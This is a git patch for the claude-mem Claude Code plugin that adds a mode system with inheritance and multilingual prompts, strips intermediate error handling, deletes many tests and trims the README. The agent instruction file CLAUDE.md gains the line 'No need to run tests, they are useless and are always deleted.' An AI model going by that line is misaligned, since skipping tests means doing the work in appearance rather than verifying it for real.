From 3ea0b60b9fd3fa7559d9d96d19a726d758cf2cb7 Mon Sep 17 00:00:00 2001 From: Alex Newman Date: Mon, 22 Dec 2025 20:14:18 -0500 Subject: [PATCH] feat: Mode system with inheritance and multilingual support (#412) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: add domain management system with support for multiple domain profiles - Introduced DomainManager class for loading and managing domain profiles. - Added support for a default domain ('code') and fallback mechanisms. - Implemented domain configuration validation and error handling. - Created types for domain configuration, observation types, and concepts. - Added new directory for domain profiles and ensured its existence. - Updated SettingsDefaultsManager to include CLAUDE_MEM_DOMAIN setting. * Refactor domain management to mode management - Removed DomainManager class and replaced it with ModeManager for better clarity and functionality. - Updated types from DomainConfig to ModeConfig and DomainPrompts to ModePrompts. - Changed references from domains to modes in the settings and paths. - Ensured backward compatibility by maintaining the fallback mechanism to the 'code' mode. * feat: add migration 008 to support mode-agnostic observations and refactor service layer references in documentation * feat: add new modes for code development and email investigation with detailed observation types and concepts * Refactor observation parsing and prompt generation to incorporate mode-specific configurations - Updated `parseObservations` function to use 'observation' as a universal fallback type instead of 'change', utilizing active mode's valid observation types. - Modified `buildInitPrompt` and `buildContinuationPrompt` functions to accept a `ModeConfig` parameter, allowing for dynamic prompt content based on the active mode. - Enhanced `ModePrompts` interface to include additional guidance for observers, such as recording focus and skip guidance. - Adjusted the SDKAgent to load the active mode and pass it to prompt generation functions, ensuring prompts are tailored to the current mode's context. * fix: correct mode prompt injection to preserve exact wording and type list visibility - Add script to extract prompts from main branch prompts.ts into code.yaml - Fix prompts.ts to show type list in XML template (e.g., "[ bugfix | feature | ... ]") - Keep 'change' as fallback type in parser.ts (maintain backwards compatibility) - Regenerate code.yaml with exact wording from original hardcoded prompts - Build succeeds with no TypeScript errors * fix: update ModeManager to load JSON mode files and improve validation - Changed ModeManager to load mode configurations from JSON files instead of YAML. - Removed the requirement for an "observation" type and updated validation to require at least one observation type. - Updated fallback behavior in the parser to use the first type from the active mode's type list. - Added comprehensive tests for mode loading, prompt injection, and parser integration, ensuring correct behavior across different modes. - Introduced new mode JSON files for "Code Development" and "Email Investigation" with detailed observation types and prompts. * Add mode configuration loading and update licensing information for Ragtime - Implemented loading of mode configuration in WorkerService before database initialization. - Added PolyForm Noncommercial License 1.0.0 to Ragtime directory. - Created README.md for Ragtime with licensing details and usage guidelines. * fix: add datasets directory to .gitignore to prevent accidental commits * refactor: remove unused plugin package.json file * chore: add package.json for claude-mem plugin with version 7.4.5 * refactor: remove outdated tests and improve error handling - Deleted tests for ChromaSync error handling, smart install, strip memory tags, and user prompt tag stripping due to redundancy or outdated logic. - Removed vitest configuration as it is no longer needed. - Added a comprehensive implementation plan for fixing the modes system, addressing critical issues and improving functionality. - Created a detailed test analysis report highlighting the quality and effectiveness of the current test suite, identifying areas for improvement. - Introduced a new plugin package.json for runtime dependencies related to claude-mem hooks. * refactor: remove parser regression tests to streamline codebase * docs: update CLAUDE.md to clarify test management and changelog generation * refactor: remove migration008 for mode-agnostic observations * Refactor observation type handling to use ModeManager for icons and emojis - Removed direct mappings of observation types to icons and work emojis in context-generator, FormattingService, SearchManager, and TimelineService. - Integrated ModeManager to dynamically retrieve icons and emojis based on the active mode. - Improved maintainability by centralizing the logic for observation type representation. * Refactor observation metadata constants and update context generator - Removed the explicit declaration of OBSERVATION_TYPES and OBSERVATION_CONCEPTS from observation-metadata.ts. - Introduced fallback default strings for DEFAULT_OBSERVATION_TYPES_STRING and DEFAULT_OBSERVATION_CONCEPTS_STRING. - Updated context-generator.ts to utilize observation types and concepts from ModeManager instead of constants. * refactor: remove intermediate error handling from hooks (Phase 1) Apply "fail fast" error handling strategy - errors propagate and crash loud instead of being caught, wrapped, and re-thrown at intermediate layers. Changes: - Remove try/catch around fetch calls in all hooks - let errors throw - Add try/catch ONLY around JSON.parse at entry points - Delete error-handler.ts and hook-error-handler.ts (no longer needed) - Update worker-utils.ts: functions now throw instead of returning null - Update transcript-parser.ts: throw on missing path, empty file, malformed JSON - Remove all handleWorkerError, handleFetchError imports Philosophy: If something breaks, we KNOW it broke. No silent failures. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 * refactor: remove intermediate error handling from worker service (Phase 2) Apply "fail fast" error handling strategy to worker service layer. Changes: - worker-service.ts: Remove try/catch from version endpoint, cleanup, MCP close, process enumeration, force kill, and isAlive check - SessionRoutes.ts: Remove try/catch from JSON.stringify calls, remove .catch() from Chroma sync and SDK agent calls - SettingsRoutes.ts: Remove try/catch from toggleMcp() - DatabaseManager.ts: Remove .catch() from backfill and close operations - SDKAgent.ts: Keep outer try/catch (top-level), remove .catch() from Chroma sync operations - SSEBroadcaster.ts: Remove try/catch from broadcast and sendToClient Philosophy: Errors propagate and crash loud. BaseRouteHandler.wrapHandler provides top-level catching for HTTP routes. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 * refactor: remove error swallowing from SQLite services (Phase 3) Apply "fail fast" error handling strategy to database layer. SessionStore.ts migrations: - ensureWorkerPortColumn(): Remove outer try/catch, let it throw - ensurePromptTrackingColumns(): Remove outer try/catch, let it throw - removeSessionSummariesUniqueConstraint(): Keep inner transaction rollback, remove outer catch - addObservationHierarchicalFields(): Remove outer try/catch - makeObservationsTextNullable(): Keep inner transaction rollback, remove outer catch - createUserPromptsTable(): Keep inner transaction rollback, remove outer catch - getFilesForSession(): Remove try/catch around JSON.parse SessionSearch.ts: - ensureFTSTables(): Remove try/catch, let it throw Philosophy: Migration errors that are swallowed mean we think the database is fine when it's not. Keep only inner transaction rollback try/catch blocks. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 * refactor: remove error hiding from utilities (Phase 4) Apply "fail fast" error handling strategy to utility layer. logger.ts: - formatTool(): Remove try/catch, let JSON.parse throw on malformed input context-generator.ts: - loadContextConfig(): Remove try/catch, let parseInt throw on invalid settings - Transcript extraction: Remove try/catch, let file read errors propagate ChromaSync.ts: - close(): Remove nested try/catch blocks, let close errors propagate Philosophy: No silent fallbacks or hidden defaults. If something breaks, we know it broke immediately. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Opus 4.5 * feat: serve static UI assets and update package root path - Added middleware to serve static UI assets (JS, CSS, fonts, etc.) in ViewerRoutes. - Updated getPackageRoot function to correctly return the package root directory as one level up from the current directory. * feat: Enhance mode loading with inheritance support - Introduced parseInheritance method to handle parent--override mode IDs. - Added deepMerge method for recursively merging mode configurations. - Updated loadMode method to support inheritance, loading parent modes and applying overrides. - Improved error handling for missing mode files and logging for better traceability. * fix(modes): correct inheritance file resolution and path handling * Refactor code structure for improved readability and maintainability * feat: Add mode configuration documentation and examples * fix: Improve concurrency handling in translateReadme function * Refactor SDK prompts to enhance clarity and structure - Updated the `buildInitPrompt` and `buildContinuationPrompt` functions in `prompts.ts` to improve the organization of prompt components, including the addition of language instructions and footer messages. - Removed redundant instructions and emphasized the importance of recording observations. - Modified the `ModePrompts` interface in `types.ts` to include new properties for system identity, language instructions, and output format header, ensuring better flexibility and clarity in prompt generation. * Enhance prompts with language instructions and XML formatting - Updated `buildInitPrompt`, `buildSummaryPrompt`, and `buildContinuationPrompt` functions to include detailed language instructions in XML comments. - Ensured that language instructions guide users to keep XML tags in English while writing content in the specified language. - Modified the `buildSummaryPrompt` function to accept `mode` as a parameter for consistency. - Adjusted the call to `buildSummaryPrompt` in `SDKAgent` to pass the `mode` argument. * Refactor XML prompt generation in SDK - Updated the buildInitPrompt, buildSummaryPrompt, and buildContinuationPrompt functions to use new placeholders for XML elements, improving maintainability and readability. - Removed redundant language instructions in comments for clarity. - Added new properties to ModePrompts interface for better structure and organization of XML placeholders and section headers. * feat: Update observation prompts and structure across multiple languages * chore: Remove planning docs and update Ragtime README Remove ephemeral development artifacts: - .claude/plans/modes-system-fixes.md - .claude/test-analysis-report.md - PROMPT_INJECTION_ANALYSIS.md Update ragtime/README.md to explain: - Feature is not yet implemented - Dependency on modes system (now complete in PR #412) - Ready to be scripted out in future release 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Sonnet 4.5 * fix: Move summary prompts to mode files for multilingual support Summary prompts were hardcoded in English in prompts.ts, breaking multilingual support. Now properly mode-based: - Added summary_instruction, summary_context_label, summary_format_instruction, summary_footer to code.json - Updated buildSummaryPrompt() to use mode fields instead of hardcoded text - Added summary_footer with language instructions to all 10 language modes - Language modes keep English prompts + language requirement footer This fixes the gaslighting where we claimed full multilingual support but summaries were still generated in English. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-Authored-By: Claude Sonnet 4.5 * chore: Clean up README by removing local preview instructions and streamlining beta features section * Add translated README files for Ukrainian, Vietnamese, and Chinese languages * Add new language modes for code development in multiple languages - Introduced JSON configurations for Code Development in Greek, Finnish, Hebrew, Hindi, Hungarian, Indonesian, Italian, Dutch, Norwegian, Polish, Brazilian Portuguese, Romanian, Swedish, Turkish, and Ukrainian. - Each configuration includes prompts for observations, summaries, and instructions tailored to the respective language. - Ensured that all prompts emphasize the importance of generating observations without referencing the agent's actions. * Add multilingual support links to README files in various languages - Updated README.id.md, README.it.md, README.ja.md, README.ko.md, README.nl.md, README.no.md, README.pl.md, README.pt-br.md, README.ro.md, README.ru.md, README.sv.md, README.th.md, README.tr.md, README.uk.md, README.vi.md, and README.zh.md to include links to other language versions. - Each README now features a centered paragraph with flags and links for easy navigation between different language documents. --------- Co-authored-by: Claude Opus 4.5 --- .gitignore | 1 + CLAUDE.md | 17 +- README.md | 272 ++----- docs/i18n/.translation-cache.json | 146 ++++ docs/i18n/README.ar.md | 301 ++++++++ docs/i18n/README.bn.md | 302 ++++++++ docs/i18n/README.cs.md | 304 ++++++++ docs/i18n/README.da.md | 302 ++++++++ docs/i18n/README.de.md | 302 ++++++++ docs/i18n/README.el.md | 302 ++++++++ docs/i18n/README.es.md | 303 ++++++++ docs/i18n/README.fi.md | 301 ++++++++ docs/i18n/README.fr.md | 304 ++++++++ docs/i18n/README.he.md | 301 ++++++++ docs/i18n/README.hi.md | 304 ++++++++ docs/i18n/README.hu.md | 302 ++++++++ docs/i18n/README.id.md | 304 ++++++++ docs/i18n/README.it.md | 304 ++++++++ docs/i18n/README.ja.md | 302 ++++++++ docs/i18n/README.ko.md | 304 ++++++++ docs/i18n/README.nl.md | 301 ++++++++ docs/i18n/README.no.md | 304 ++++++++ docs/i18n/README.pl.md | 301 ++++++++ docs/i18n/README.pt-br.md | 302 ++++++++ docs/i18n/README.ro.md | 302 ++++++++ docs/i18n/README.ru.md | 302 ++++++++ docs/i18n/README.sv.md | 302 ++++++++ docs/i18n/README.th.md | 301 ++++++++ docs/i18n/README.tr.md | 301 ++++++++ docs/i18n/README.uk.md | 302 ++++++++ docs/i18n/README.vi.md | 302 ++++++++ docs/i18n/README.zh.md | 304 ++++++++ docs/public/configuration.mdx | 27 + docs/public/docs.json | 1 + docs/public/introduction.mdx | 2 + docs/public/modes.mdx | 77 ++ package.json | 20 +- plugin/modes/code--ar.json | 24 + plugin/modes/code--bn.json | 24 + plugin/modes/code--cs.json | 24 + plugin/modes/code--da.json | 24 + plugin/modes/code--de.json | 24 + plugin/modes/code--el.json | 24 + plugin/modes/code--es.json | 24 + plugin/modes/code--fi.json | 24 + plugin/modes/code--fr.json | 24 + plugin/modes/code--he.json | 24 + plugin/modes/code--hi.json | 24 + plugin/modes/code--hu.json | 24 + plugin/modes/code--id.json | 24 + plugin/modes/code--it.json | 24 + plugin/modes/code--ja.json | 24 + plugin/modes/code--ko.json | 24 + plugin/modes/code--nl.json | 24 + plugin/modes/code--no.json | 24 + plugin/modes/code--pl.json | 24 + plugin/modes/code--pt-br.json | 24 + plugin/modes/code--ro.json | 24 + plugin/modes/code--ru.json | 24 + plugin/modes/code--sv.json | 24 + plugin/modes/code--th.json | 24 + plugin/modes/code--tr.json | 24 + plugin/modes/code--uk.json | 24 + plugin/modes/code--vi.json | 24 + plugin/modes/code--zh.json | 24 + plugin/modes/code.json | 125 +++ plugin/modes/email-investigation.json | 115 +++ plugin/scripts/cleanup-hook.js | 14 +- plugin/scripts/context-generator.cjs | 282 +++---- plugin/scripts/context-hook.js | 16 +- plugin/scripts/mcp-server.cjs | 10 +- plugin/scripts/new-hook.js | 16 +- plugin/scripts/save-hook.js | 14 +- plugin/scripts/summary-hook.js | 22 +- plugin/scripts/user-message-hook.js | 38 +- plugin/scripts/worker-cli.js | 10 +- plugin/scripts/worker-service.cjs | 716 ++++++++---------- plugin/skills/mem-search.zip | Bin 33036 -> 33036 bytes ragtime/LICENSE | 137 ++++ ragtime/README.md | 36 + scripts/analyze-usage.js | 134 ---- scripts/extract-prompts-to-yaml.cjs | 178 +++++ scripts/translate-readme/cli.ts | 17 +- scripts/translate-readme/index.ts | 25 +- src/constants/observation-metadata.ts | 63 +- src/hooks/cleanup-hook.ts | 38 +- src/hooks/context-hook.ts | 31 +- src/hooks/new-hook.ts | 101 +-- src/hooks/save-hook.ts | 54 +- src/hooks/shared/error-handler.ts | 37 - src/hooks/summary-hook.ts | 70 +- src/hooks/user-message-hook.ts | 69 +- src/sdk/parser.test.ts | 403 ---------- src/sdk/parser.ts | 15 +- src/sdk/prompts.ts | 233 ++---- src/services/context-generator.ts | 96 +-- src/services/domain/ModeManager.ts | 254 +++++++ src/services/domain/types.ts | 72 ++ src/services/sqlite/SessionSearch.ts | 188 +++-- src/services/sqlite/SessionStore.ts | 578 +++++++------- src/services/sqlite/migrations.ts | 1 + src/services/sync/ChromaSync.ts | 40 +- src/services/worker-service.ts | 209 +++-- src/services/worker/DatabaseManager.ts | 16 +- src/services/worker/FormattingService.ts | 8 +- src/services/worker/README.md | 20 +- src/services/worker/SDKAgent.ts | 27 +- src/services/worker/SSEBroadcaster.ts | 16 +- src/services/worker/SearchManager.ts | 31 +- src/services/worker/TimelineService.ts | 11 +- src/services/worker/http/routes/DataRoutes.ts | 2 +- .../worker/http/routes/SessionRoutes.ts | 38 +- .../worker/http/routes/SettingsRoutes.ts | 60 +- .../worker/http/routes/ViewerRoutes.ts | 4 + src/shared/SettingsDefaultsManager.ts | 2 + src/shared/hook-error-handler.ts | 16 - src/shared/paths.ts | 13 +- src/shared/transcript-parser.ts | 121 +-- src/shared/worker-utils.ts | 102 +-- src/utils/logger.ts | 116 ++- tests/branch-selector.test.ts | 37 - tests/bun-path.test.ts | 101 --- .../error-handling/hook-error-logging.test.ts | 259 ------- tests/happy-paths/batch-observations.test.ts | 248 ------ tests/happy-paths/context-injection.test.ts | 126 --- tests/happy-paths/observation-capture.test.ts | 284 ------- tests/happy-paths/search.test.ts | 329 -------- tests/happy-paths/session-cleanup.test.ts | 247 ------ tests/happy-paths/session-init.test.ts | 182 ----- tests/happy-paths/session-summary.test.ts | 248 ------ tests/helpers/mocks.ts | 82 -- tests/helpers/scenarios.ts | 107 --- .../integration/context-inject-early.test.ts | 53 -- tests/integration/full-lifecycle.test.ts | 353 --------- .../hook-execution-environments.test.ts | 256 ------- tests/security/command-injection.test.ts | 277 ------- tests/services/chroma-sync-errors.test.ts | 233 ------ tests/smart-install.test.js | 47 -- tests/strip-memory-tags.test.ts | 148 ---- tests/user-prompt-tag-stripping.test.ts | 140 ---- vitest.config.ts | 15 - 141 files changed, 11834 insertions(+), 6699 deletions(-) create mode 100644 docs/i18n/.translation-cache.json create mode 100644 docs/i18n/README.ar.md create mode 100644 docs/i18n/README.bn.md create mode 100644 docs/i18n/README.cs.md create mode 100644 docs/i18n/README.da.md create mode 100644 docs/i18n/README.de.md create mode 100644 docs/i18n/README.el.md create mode 100644 docs/i18n/README.es.md create mode 100644 docs/i18n/README.fi.md create mode 100644 docs/i18n/README.fr.md create mode 100644 docs/i18n/README.he.md create mode 100644 docs/i18n/README.hi.md create mode 100644 docs/i18n/README.hu.md create mode 100644 docs/i18n/README.id.md create mode 100644 docs/i18n/README.it.md create mode 100644 docs/i18n/README.ja.md create mode 100644 docs/i18n/README.ko.md create mode 100644 docs/i18n/README.nl.md create mode 100644 docs/i18n/README.no.md create mode 100644 docs/i18n/README.pl.md create mode 100644 docs/i18n/README.pt-br.md create mode 100644 docs/i18n/README.ro.md create mode 100644 docs/i18n/README.ru.md create mode 100644 docs/i18n/README.sv.md create mode 100644 docs/i18n/README.th.md create mode 100644 docs/i18n/README.tr.md create mode 100644 docs/i18n/README.uk.md create mode 100644 docs/i18n/README.vi.md create mode 100644 docs/i18n/README.zh.md create mode 100644 docs/public/modes.mdx create mode 100644 plugin/modes/code--ar.json create mode 100644 plugin/modes/code--bn.json create mode 100644 plugin/modes/code--cs.json create mode 100644 plugin/modes/code--da.json create mode 100644 plugin/modes/code--de.json create mode 100644 plugin/modes/code--el.json create mode 100644 plugin/modes/code--es.json create mode 100644 plugin/modes/code--fi.json create mode 100644 plugin/modes/code--fr.json create mode 100644 plugin/modes/code--he.json create mode 100644 plugin/modes/code--hi.json create mode 100644 plugin/modes/code--hu.json create mode 100644 plugin/modes/code--id.json create mode 100644 plugin/modes/code--it.json create mode 100644 plugin/modes/code--ja.json create mode 100644 plugin/modes/code--ko.json create mode 100644 plugin/modes/code--nl.json create mode 100644 plugin/modes/code--no.json create mode 100644 plugin/modes/code--pl.json create mode 100644 plugin/modes/code--pt-br.json create mode 100644 plugin/modes/code--ro.json create mode 100644 plugin/modes/code--ru.json create mode 100644 plugin/modes/code--sv.json create mode 100644 plugin/modes/code--th.json create mode 100644 plugin/modes/code--tr.json create mode 100644 plugin/modes/code--uk.json create mode 100644 plugin/modes/code--vi.json create mode 100644 plugin/modes/code--zh.json create mode 100644 plugin/modes/code.json create mode 100644 plugin/modes/email-investigation.json create mode 100644 ragtime/LICENSE create mode 100644 ragtime/README.md delete mode 100755 scripts/analyze-usage.js create mode 100644 scripts/extract-prompts-to-yaml.cjs delete mode 100644 src/hooks/shared/error-handler.ts delete mode 100644 src/sdk/parser.test.ts create mode 100644 src/services/domain/ModeManager.ts create mode 100644 src/services/domain/types.ts delete mode 100644 src/shared/hook-error-handler.ts delete mode 100644 tests/branch-selector.test.ts delete mode 100644 tests/bun-path.test.ts delete mode 100644 tests/error-handling/hook-error-logging.test.ts delete mode 100644 tests/happy-paths/batch-observations.test.ts delete mode 100644 tests/happy-paths/context-injection.test.ts delete mode 100644 tests/happy-paths/observation-capture.test.ts delete mode 100644 tests/happy-paths/search.test.ts delete mode 100644 tests/happy-paths/session-cleanup.test.ts delete mode 100644 tests/happy-paths/session-init.test.ts delete mode 100644 tests/happy-paths/session-summary.test.ts delete mode 100644 tests/helpers/mocks.ts delete mode 100644 tests/helpers/scenarios.ts delete mode 100644 tests/integration/context-inject-early.test.ts delete mode 100644 tests/integration/full-lifecycle.test.ts delete mode 100644 tests/integration/hook-execution-environments.test.ts delete mode 100644 tests/security/command-injection.test.ts delete mode 100644 tests/services/chroma-sync-errors.test.ts delete mode 100644 tests/smart-install.test.js delete mode 100644 tests/strip-memory-tags.test.ts delete mode 100644 tests/user-prompt-tag-stripping.test.ts delete mode 100644 vitest.config.ts diff --git a/.gitignore b/.gitignore index 5de5710d..dcfe26f6 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,7 @@ plugin/data/ plugin/data.backup/ package-lock.json private/ +datasets/ # Generated UI files (built from viewer-template.html) src/ui/viewer.html diff --git a/CLAUDE.md b/CLAUDE.md index 2e0d5d7a..2a533fce 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -14,7 +14,7 @@ Claude-mem is a Claude Code plugin providing persistent memory across sessions. **Worker Service** (`src/services/worker-service.ts`) - Express API on port 37777, Bun-managed, handles AI processing asynchronously -**Database** (`src/services/sqlite/`) - SQLite3 at `~/.claude-mem/claude-mem.db` with FTS5 full-text search +**Database** (`src/services/sqlite/`) - SQLite3 at `~/.claude-mem/claude-mem.db` **Search Skill** (`plugin/skills/mem-search/SKILL.md`) - HTTP API for searching past work, auto-invoked when users ask about history @@ -36,22 +36,10 @@ Claude-mem is a Claude Code plugin providing persistent memory across sessions. npm run build-and-sync # Build, sync to marketplace, restart worker ``` -**Viewer UI**: http://localhost:37777 - ## Configuration Settings are managed in `~/.claude-mem/settings.json`. The file is auto-created with defaults on first run. -**Core Settings:** -- `CLAUDE_MEM_MODEL` - Model for observations/summaries (default: claude-sonnet-4-5) -- `CLAUDE_MEM_CONTEXT_OBSERVATIONS` - Observations injected at SessionStart -- `CLAUDE_MEM_WORKER_PORT` - Worker service port (default: 37777) -- `CLAUDE_MEM_WORKER_HOST` - Worker bind address (default: 127.0.0.1, use 0.0.0.0 for remote access) - -**System Configuration:** -- `CLAUDE_MEM_DATA_DIR` - Data directory location (default: ~/.claude-mem) -- `CLAUDE_MEM_LOG_LEVEL` - Log verbosity: DEBUG, INFO, WARN, ERROR, SILENT (default: INFO) - ## File Locations - **Source**: `/src/` @@ -64,7 +52,7 @@ Settings are managed in `~/.claude-mem/settings.json`. The file is auto-created - **Bun** (all platforms - auto-installed if missing) - **uv** (all platforms - auto-installed if missing, provides Python for Chroma) -- Node.js (build tools only) +- Node.js ## Documentation @@ -95,3 +83,4 @@ This architecture preserves the open-source nature of the project while enabling # Important No need to edit the changelog ever, it's generated automatically. +No need to run tests, they are useless and are always deleted. diff --git a/README.md b/README.md index 60c1cb00..b0db0c52 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,5 @@ + +


@@ -10,6 +12,37 @@

+

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+

Persistent memory compression system built for Claude Code.

@@ -94,13 +127,6 @@ Restart Claude Code. Context from previous sessions will automatically appear in 📚 **[View Full Documentation](docs/)** - Browse markdown docs on GitHub -💻 **Local Preview**: Run Mintlify docs locally: - -```bash -cd docs/public -npx mintlify dev -``` - ### Getting Started - **[Installation Guide](https://docs.claude-mem.ai/installation)** - Quick start & advanced installation @@ -133,34 +159,12 @@ npx mintlify dev ## How It Works -``` -┌─────────────────────────────────────────────────────────────┐ -│ Session Start → Inject recent observations as context │ -└─────────────────────────────────────────────────────────────┘ - ↓ -┌─────────────────────────────────────────────────────────────┐ -│ User Prompts → Create session, save user prompts │ -└─────────────────────────────────────────────────────────────┘ - ↓ -┌─────────────────────────────────────────────────────────────┐ -│ Tool Executions → Capture observations (Read, Write, etc.) │ -└─────────────────────────────────────────────────────────────┘ - ↓ -┌─────────────────────────────────────────────────────────────┐ -│ Worker Processes → Extract learnings via Claude Agent SDK │ -└─────────────────────────────────────────────────────────────┘ - ↓ -┌─────────────────────────────────────────────────────────────┐ -│ Session Ends → Generate summary, ready for next session │ -└─────────────────────────────────────────────────────────────┘ -``` - **Core Components:** 1. **5 Lifecycle Hooks** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 hook scripts) 2. **Smart Install** - Cached dependency checker (pre-hook script, not a lifecycle hook) 3. **Worker Service** - HTTP API on port 37777 with web viewer UI and 10 search endpoints, managed by Bun -4. **SQLite Database** - Stores sessions, observations, summaries with FTS5 full-text search +4. **SQLite Database** - Stores sessions, observations, summaries 5. **mem-search Skill** - Natural language queries with progressive disclosure 6. **Chroma Vector Database** - Hybrid semantic + keyword search for intelligent context retrieval @@ -203,74 +207,11 @@ See [Search Tools Guide](https://docs.claude-mem.ai/usage/search-tools) for deta --- -## Beta Features & Endless Mode +## Beta Features -> **Note**: Endless Mode is an **experimental feature in the beta branch only**. It is not included in the stable release you install via the marketplace. You must manually switch to the beta channel to try it, and it comes with significant caveats (see below). +Claude-Mem offers a **beta channel** with experimental features like **Endless Mode** (biomimetic memory architecture for extended sessions). Switch between stable and beta versions from the web viewer UI at http://localhost:37777 → Settings. -Claude-Mem offers a **beta channel** with experimental features. Switch between stable and beta versions directly from the web viewer UI. - -### How to Try Beta - -1. Open http://localhost:37777 -2. Click Settings (gear icon) -3. In **Version Channel**, click "Try Beta (Endless Mode)" -4. Wait for the worker to restart - -Your memory data is preserved when switching versions. - -### Endless Mode (Beta) - -The flagship beta feature is **Endless Mode** - a biomimetic memory architecture that dramatically extends session length: - -**The Problem**: Standard Claude Code sessions hit context limits after ~50 tool uses. Each tool adds 1-10k+ tokens, and Claude re-synthesizes all previous outputs on every response (O(N²) complexity). - -**The Solution**: Endless Mode compresses tool outputs into ~500-token observations and transforms the transcript in real-time: - -``` -Working Memory (Context): Compressed observations (~500 tokens each) -Archive Memory (Disk): Full tool outputs preserved for recall -``` - -**Projected Results** (based on theoretical modeling, not production measurements): -- Significant token reduction in context window -- More tool uses before context exhaustion -- Linear O(N) scaling instead of quadratic O(N²) -- Full transcripts preserved for perfect recall - -**Important Caveats**: -- **Not in stable release** - You must switch to beta branch to use this feature -- **Still in development** - May have bugs, breaking changes, or incomplete functionality -- **Slower than standard mode** - Blocking observation generation adds latency to each tool use -- **Theoretical projections** - The efficiency claims above are based on simulations, not real-world production data - -See [Beta Features Documentation](https://docs.claude-mem.ai/beta-features) for details. - ---- - -## What's New - -**v6.4.9 - Context Configuration Settings:** -- 11 new settings for fine-grained control over context injection -- Configure token economics display, observation filtering by type/concept -- Control number of observations and which fields to display - -**v6.4.0 - Dual-Tag Privacy System:** -- `` tags for user-controlled privacy - wrap sensitive content to exclude from storage -- System-level `` tags prevent recursive observation storage -- Edge processing ensures private content never reaches database - -**v6.3.0 - Version Channel:** -- Switch between stable and beta versions from the web viewer UI -- Try experimental features like Endless Mode without manual git operations - -**Previous Highlights:** -- **v6.0.0**: Major session management & transcript processing improvements -- **v5.5.0**: mem-search skill enhancement with 100% effectiveness rate -- **v5.4.0**: Skill-based search architecture (~2,250 tokens saved per session) -- **v5.1.0**: Web-based viewer UI with real-time updates -- **v5.0.0**: Hybrid search with Chroma vector database - -See [CHANGELOG.md](CHANGELOG.md) for complete version history. +See **[Beta Features Documentation](https://docs.claude-mem.ai/beta-features)** for details on Endless Mode and how to try it. --- @@ -284,162 +225,37 @@ See [CHANGELOG.md](CHANGELOG.md) for complete version history. --- -## Key Benefits - -### Progressive Disclosure Context - -- **Layered memory retrieval** mirrors human memory patterns -- **Layer 1 (Index)**: See what observations exist with token costs at session start -- **Layer 2 (Details)**: Fetch full narratives on-demand via MCP search -- **Layer 3 (Perfect Recall)**: Access source code and original transcripts -- **Smart decision-making**: Token counts help Claude choose between fetching details or reading code -- **Type indicators**: Visual cues (🔴 critical, 🟤 decision, 🔵 informational) highlight observation importance - -### Automatic Memory - -- Context automatically injected when Claude starts -- No manual commands or configuration needed -- Works transparently in the background - -### Full History Search - -- Search across all sessions and observations -- FTS5 full-text search for fast queries -- Citations link back to specific observations - -### Structured Observations - -- AI-powered extraction of learnings -- Categorized by type (decision, bugfix, feature, etc.) -- Tagged with concepts and file references - -### Multi-Prompt Sessions - -- Sessions span multiple user prompts -- Context preserved across `/clear` commands -- Track entire conversation threads - ---- - ## Configuration -Settings are managed in `~/.claude-mem/settings.json`. The file is auto-created with defaults on first run. +Settings are managed in `~/.claude-mem/settings.json` (auto-created with defaults on first run). Configure AI model, worker port, data directory, log level, and context injection settings. -**Available Settings:** - -| Setting | Default | Description | -|---------|---------|-------------| -| `CLAUDE_MEM_MODEL` | `claude-sonnet-4-5` | AI model for observations | -| `CLAUDE_MEM_WORKER_PORT` | `37777` | Worker service port | -| `CLAUDE_MEM_WORKER_HOST` | `127.0.0.1` | Worker bind address (use `0.0.0.0` for remote access) | -| `CLAUDE_MEM_DATA_DIR` | `~/.claude-mem` | Data directory location | -| `CLAUDE_MEM_LOG_LEVEL` | `INFO` | Log verbosity (DEBUG, INFO, WARN, ERROR, SILENT) | -| `CLAUDE_MEM_PYTHON_VERSION` | `3.13` | Python version for chroma-mcp | -| `CLAUDE_CODE_PATH` | _(auto-detect)_ | Path to Claude executable | -| `CLAUDE_MEM_CONTEXT_OBSERVATIONS` | `50` | Number of observations to inject at SessionStart | - -**Settings Management:** - -```bash -# Edit settings via CLI helper -./claude-mem-settings.sh - -# Or edit directly -nano ~/.claude-mem/settings.json - -# View current settings -curl http://localhost:37777/api/settings -``` - -**Settings File Format:** - -```json -{ - "CLAUDE_MEM_MODEL": "claude-sonnet-4-5", - "CLAUDE_MEM_WORKER_PORT": "37777", - "CLAUDE_MEM_CONTEXT_OBSERVATIONS": "50" -} -``` - -See [Configuration Guide](https://docs.claude-mem.ai/configuration) for details. +See the **[Configuration Guide](https://docs.claude-mem.ai/configuration)** for all available settings and examples. --- ## Development -```bash -# Clone and build -git clone https://github.com/thedotmack/claude-mem.git -cd claude-mem -npm install -npm run build - -# Run tests -npm test - -# Start worker -npm run worker:start - -# View logs -npm run worker:logs -``` - -See [Development Guide](https://docs.claude-mem.ai/development) for detailed instructions. +See the **[Development Guide](https://docs.claude-mem.ai/development)** for build instructions, testing, and contribution workflow. --- ## Troubleshooting -**Quick Diagnostic:** +If experiencing issues, describe the problem to Claude and the troubleshoot skill will automatically diagnose and provide fixes. -If you're experiencing issues, describe the problem to Claude and the troubleshoot skill will automatically activate to diagnose and provide fixes. - -**Common Issues:** - 